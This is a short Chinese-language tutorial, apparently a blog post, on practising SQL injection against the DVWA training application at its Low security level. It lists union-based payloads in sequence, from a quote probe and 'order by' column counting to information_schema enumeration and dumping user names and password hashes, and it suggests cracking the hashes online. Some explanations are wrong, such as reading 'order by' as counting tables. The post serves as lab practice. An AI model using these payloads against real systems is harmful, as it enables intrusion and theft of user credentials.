引言
近年来,网络安全问题日益突出,网络安全事件频繁发生,如何加强系统的安全性变得越来越重要。本文将利用WAMP+DVWA平台练习SQL注入的攻防。
准备工作
(1)首先下载好WAMP
(2)在WAMP中配置好DVWA
进行SQL注入
(1)选择SQL Injection
(2)将DVWA Security的等级设置为Low
(3)检查有输入框的地方是否存在SQL注入
在输入框中输入1
在输入框中输入2
在输入框中输入'(英文状态下的逗号)
通过以上三次输入发现当输入'发现报错,说明该输入框存在SQL注入漏洞
(4)确定该数据库中有多少个表格
1' order by 1#
1' order by 2#
1' order by 3#
依次输入以上3条SQL查询语句,发现输入第3条SQL查询语句时报错,报错信息如下:
从而确定该数据库中有2个表
(5)获取该数据库的敏感信息,数据库的名字和用户名
1' union select database(),user()#
拿到了数据库的信息如下:
(6)构造payload语句拿到数据库中表的名称信息
1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#
从而可以拿到数据库信息如下所示:
(7)构造payload语句拿到指定表中列的名称
1' union select column_name,2 from information_schema.columns where table_schema = 'dvwa' and table_name='users'#
从而拿到了users这张表里有那些字段,以及每个字段的名称,具体信息如下所示:
(8)我们可以获取我们感兴趣的字段的具体信息,例如我们想拿到user和password字段的具体信息,可以构造如下payload语句进行获取
1' union select user,password from users#
从上图可以看出用户名,但是密码是经过加密的,我们可以使用在线的解密工具对加密的密码进行解密
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。